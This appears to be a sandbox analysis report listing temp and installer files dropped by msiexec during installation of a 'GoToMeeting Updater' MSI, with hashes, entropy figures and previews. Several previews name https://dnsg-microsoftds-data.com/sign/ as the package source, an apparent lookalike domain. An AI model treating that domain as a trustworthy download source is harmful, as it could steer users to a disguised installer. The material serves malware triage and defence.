File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIECBF.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.329780998297349
Encrypted:	false
SSDEEP:	24:CLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:CLbHrGMNZAbe3EVlt17HuzkHA
MD5:	8E1BAACE9600FCBAB8A555ACBF788B6F
SHA1:	DF97EEF7935E7A382703A32BDDF7FFDA45FB86EC
SHA-256:	A7E08CC6A033AC9E54D51A5574625D0FB7A37D1F64CCCB52244C1BF7E443D6C7
SHA-512:	14DC08FB38819418F3E2380E047850D2D3F42B8E6BA1AECA94000E29B4F1B0150F325246796158E07E9B8A0120619877282B818D754A2B9D5E2A827679351120
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIF03A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF26E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.318805486475129
Encrypted:	false
SSDEEP:	24:+Lg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:+LbHrGMNZAbe3EVlt17HuzkHA
MD5:	DF5682A90E0669B988310B866FFB6011
SHA1:	8CD688228DA99259A91527C31CD84F96EF99FD14
SHA-256:	55B35B50935044FC5649DF0DD8AD4C25694FAA790F12AD56F1E8E529A00F4115
SHA-512:	8B041A7A8442246DAA4874DC2F0BE0568D3E3969D5E9EADC522FA750FA95537BCC59C1A94334B39CC62D3E5F53BB4DA5A331B033D5484F81672A1DD3041EACA8
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIF28.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF58C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF60A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.323427388794938
Encrypted:	false
SSDEEP:	24:RLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:RLbHrGMNZAbe3EVlt17HuzkHA
MD5:	C6FD8794C55077A5631459E6B8D52050
SHA1:	4E78C12EAF1803008AC868643C830985149DAAF2
SHA-256:	4A3E6BECB5480D3AA7FE2D9F4CDF0000B3E51CDD2A30CF7D6728793150B3013D
SHA-512:	27A01EF68D44060C483928CFFA0B491A78C87E2FEAF60A26B854DB354CD9D18171C6E13368150CE862C0A1DF38A2DC406D51068990109BF1845D0A3E12F25D35
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIF956.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: GoToMeeting Updater, Author: CitrixSystems, Keywords: Installer, Comments: This installer database contains the logic and data required to install GoTo., Template: x64;1033, Revision Number: {8EB6C5B9-E3E4-4C99-901D-D3213245204A}, Create Time/Date: Fri May 30 13:03:54 2025, Last Saved Time/Date: Fri May 30 13:03:54 2025, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.4528470756075254
Encrypted:	false
SSDEEP:	384:LFZdfAR40/RMyy3M5BCfx5Pyy3M5BC0ioXtLevuI:N0WyWMDC/yWMDC
MD5:	1903DFBC4F90409F8AB91927540DD57E
SHA1:	A843B156366CE888AA027B51F57F187931EA0E6D
SHA-256:	C456DABC102AE7FFC2744E4AF987D82BD17A50110D89D8363254C52D6A96DA11
SHA-512:	1F0BE3EA09E82FE2CEE7BBA0EE89F8A04A99AF7A8A1B59B11E4F15E232D1F654DA5DD49BA66CB954609A0CEDBC3DFEE3D7850DC5FE6799D3CC879C1C706A1BD3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIFBC8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.323427388794938
Encrypted:	false
SSDEEP:	24:RLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:RLbHrGMNZAbe3EVlt17HuzkHA
MD5:	C6FD8794C55077A5631459E6B8D52050
SHA1:	4E78C12EAF1803008AC868643C830985149DAAF2
SHA-256:	4A3E6BECB5480D3AA7FE2D9F4CDF0000B3E51CDD2A30CF7D6728793150B3013D
SHA-512:	27A01EF68D44060C483928CFFA0B491A78C87E2FEAF60A26B854DB354CD9D18171C6E13368150CE862C0A1DF38A2DC406D51068990109BF1845D0A3E12F25D35
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\MSIFD5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	5.324464964623026
Encrypted:	false
SSDEEP:	24:qLg2ldoD2vW/f6y2lrZAA9gXkXZIMEVlt17ldoVzkldoJ:qLbHrGMNZAbe3EVlt17HuzkHA
MD5:	D1D6BC63EFAFC62D668CFE4C9955B1BD
SHA1:	7073521025ACB1C74DE27624C841C00BD1E8D5CC
SHA-256:	D8A789B1A239B45B75D6AE8C02EB4041DF3FB172E0FB7864B93D6D7E351C4181
SHA-512:	FD3497389708513A7139984752A40CC1F3D0AED4BB99CF8D1FF95766E21406E50029859DEB006F9493FB76EBA938F416321F4F185DAC5DAD50292174094901CC
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@.......@.....@.....@........RegisterProduct..Registering product..[1]i...0......PublishProduct..Publishing product information.......@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}'.https://dnsg-microsoftds-data.com/sign/..&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}.@.......@.....@.....@.]..

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5025129655954357
Encrypted:	false
SSDEEP:	48:98PhpuRc06WXJmFT5j1ccsdS5fuSiA3sdS6WeUJLE:ghp19FT0HdoWRd0ev
MD5:	6C102199C31003E48357245258489D13
SHA1:	46ABC159826AA697C8CF89A1733C10A7C008A32B
SHA-256:	E75CD56EA454881DF11B0A0A4F5CD84DD582FC9EBAE2F2B61C023771ACB47AE6
SHA-512:	F669A9A9A1D4A12E3D49C10D389AB2A4CC4D01E19598B0AADB224473DBB0A42F6DD4CB5BB130607047884CC19E06F01A80189ECEA9D618B72E3FB02480CDF0E3
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	364484
Entropy (8bit):	5.365505894694419
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau9:zTtbmkExhMJCIpEu
MD5:	E212D29D4FC19D36970EE443160FFBA5
SHA1:	C5D596F27A63DCE56F4B90C8A8208FFC084C7AA1
SHA-256:	2FBCCA8D6B2242C73D3934B361DAC381C8180738B86AE98DA4BCC09E5C4E18CD
SHA-512:	D03D77F08EFA451C36D4C5F0397011649E5967942A2AD1A7D48EEAB0101A1B70DE308602C0282A39D42330A888157A6ABD0DB9BCCF4C0C01F88E22EED28D176A
Malicious:	false
Reputation:	low
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF02741DF85CE430D1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5032430068560163
Encrypted:	false
SSDEEP:	48:6X8PhpuRc06WXJmnT5qCcIasdS52uSiX3sdS6WeUJLE:Hhp19nTU5md9WMd0ev
MD5:	30D6F5D264C01CCD8BE46A1427CA3550
SHA1:	0169E3F9490E12E3700C1168ACF6A77FAF4EA198
SHA-256:	55300EBDD6F0BA547C4D491B33F0929775D629EAA93BD8304F4CC2335E6385FD
SHA-512:	EE4BB2D917AFE8357657686D27788D77113C340E117A50A4B7BCDA9ACECC5F37FB18A4BD544114250AE9240C38837C10D34902F24592B101DB679509A25E3C95
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0342E85147403DCF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.11902595812491415
Encrypted:	false
SSDEEP:	24:wWSvSWe3EJlhlsndipVMlsndipV7VQpGhsGgSi+8TZkLn+qo:jESWeUJhsdSmsdS5huSihKF
MD5:	E672EA966C0C513B5BC4D78D6D6161DA
SHA1:	D6FAC9844FCE5831256ADCCB6C0B9EAACE05FEBB
SHA-256:	51262BCCEC9E3375F16938E8D9A9AE936C073F76D1B3C8214514DACC8E8AD00C
SHA-512:	7E752FC55D0394564FB3F6D59CC96A76F1360A0633C768F99374A1E9AA8FD2256687196B0840B448AAD9448577F9F98EA7F89ECFA1B22574994C33DA9FED0416
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF034F8074031FB9CC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2074079319620297
Encrypted:	false
SSDEEP:	48:IwqRuPNveFXJFT5BqcLsdS5cuSin3sdS6WeUJLE:ITRrtTvxwdbWcd0ev
MD5:	1397C41A528DBC322706E2769535D523
SHA1:	CF5B6982B010B4E9761D106260339A03B8575D34
SHA-256:	F08556198186180CB4FB29F70496467111B9E47E2E6938AB2CF2B66F19FE662B
SHA-512:	AB05441A121A86ADD7CA8A554549232F54CE941EEB2C5B268266F90D71924AC687D07CF85D86EB018179879E74A93A13BBEB3837CDD1E86D669B669D3797CE2A
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0361120F071C7702.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF037C8E719F0A6327.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF041D4752AEFFFD56.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF041D6F3E606CBA31.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF04B2D613EF6757F9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.207475147504565
Encrypted:	false
SSDEEP:	48:twqRuPNveFXJFT54clsdS5huSih3sdS6WeUJLE:tTRrtT9OdiWad0ev
MD5:	9CB348F692394743532282E835CF86E5
SHA1:	E61F02614D9619DF9CA44B2E32124B4F6B0AD987
SHA-256:	DAD30EFE27B0E8C4D9E96D6323C9C407F7FAADB730F85AF2E476759B097C6D9F
SHA-512:	5F78C035BCCCBB32E37963CF9D0D86B1B4D17B623E83363E2643AF0701486D2FD5354E994EC28732B03DAE1C2F4B69E8345AB6DA4A51CCFD172796F7F248AC07
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF05B683217D2F47D8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5026364590920467
Encrypted:	false
SSDEEP:	48:68PhpuRc06WXJmnT5zcnsdS5WuSigr3sdS6WeUJLE:Fhp19nTGsd9WPd0ev
MD5:	F5E0B371B6166DC1F7FEC6DE99BBC76D
SHA1:	1874452C0AEE7476F1054DB66022B494115BEC43
SHA-256:	359C52FA4329CF3C6A2839303AE4F095FE656E3B5DE0F70CA5C20F62946AE4D8
SHA-512:	D3901ED7F685358629916DBAEC3E397CDF4F3A0F82304189F179094F06DA6E31E441FFA1580B674BB30C0FF9BDD292AE73F273EAE3E1E6EB1DCC94113C4488F1
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF06B2EC84FB19EF43.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.11910567390229351
Encrypted:	false
SSDEEP:	24:wWSvSWe3EJlhlsndipVMlsndipV7VQpGrsGgSi+dTZkG+qo:jESWeUJhsdSmsdS5ruSi2HF
MD5:	E0DC527A87D7462C3793813EDE8933A6
SHA1:	0C8C87D81ECAB4392D875F69C329E99BE2FA3460
SHA-256:	D55447DEB253434EA10EA29668D42D659C8927BA1E004A00D13B4B4A8BB4678D
SHA-512:	C4068F542F13C94BEC38173F256ABBF47AD707FB67C839EEE932CF85326C9767D85207F3927962D13E488EEC704541F0C3BD8E11DB282F6CF162329B6AE9D993
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF070A267CA2B1F287.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5016891611521543
Encrypted:	false
SSDEEP:	48:48PhpuRc06WXJmFT5oncNsdS54uSiUG3sdS6WeUJLE:Hhp19FTCcWdvW4d0ev
MD5:	E1A5478D31E200C33559B660AD087BCB
SHA1:	87D3D6357304BE83B1EFC3FCA67B0D250C96BCA3
SHA-256:	45B38EE5EBA931F305D1F391ADDEA19C516B35B20E8C54F30C387AAFB5B04D70
SHA-512:	CB4B9908636A2A29AFE76E692F359D395EBFCDB96E9308FB73C778C44B9199257350B69E12881D318B8BC5670720564DF90E4E47CF8FB4FAA017DF3C79BE1CC2
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0767AB63F419569C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF08D5D6D8AB8CF9CC.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
